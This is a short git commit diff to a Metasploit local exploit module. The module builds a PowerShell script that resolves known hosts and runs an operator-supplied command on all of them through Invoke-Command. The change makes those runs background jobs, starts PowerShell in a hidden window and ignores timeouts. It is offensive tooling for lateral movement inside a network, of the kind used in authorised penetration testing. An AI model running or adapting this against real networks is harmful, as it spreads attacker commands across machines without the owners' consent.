Run as jobs

bug/bundler_fix
Meatballs 2014-02-09 19:30:16 +00:00
parent 1c169e2935
commit 038aae5adb
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
1 changed files with 7 additions and 4 deletions

View File

@ -90,8 +90,7 @@ class Metasploit3 < Msf::Exploit::Local
$ResultList=@(#{known_hosts});
#{ip_list}
foreach($ip in $iplist){$Resultlist += [System.Net.Dns]::GetHostbyAddress($ip).HostName};
$ResultList=$ResultList|select -uniq;
Invoke-Command -ComputerName $ResultList -ScriptBlock {#{command}}
Invoke-Command -AsJob -ComputerName $ResultList -ScriptBlock {#{command}}
EOF
if datastore['SMBUser']
@ -104,11 +103,15 @@ EOF
command = generate_psh_command_line({
:noprofile => true,
:windowstyle => 'hidden',
:command => ps
:command => ps,
:noexit => true
})
print_status("Executing command...")
begin
cmd_exec(command)
rescue Rex::TimeoutError
end
end
def generate_credentials(domain=datastore['SMBDomain'], user=datastore['SMBUser'], pass=datastore['SMBPass'])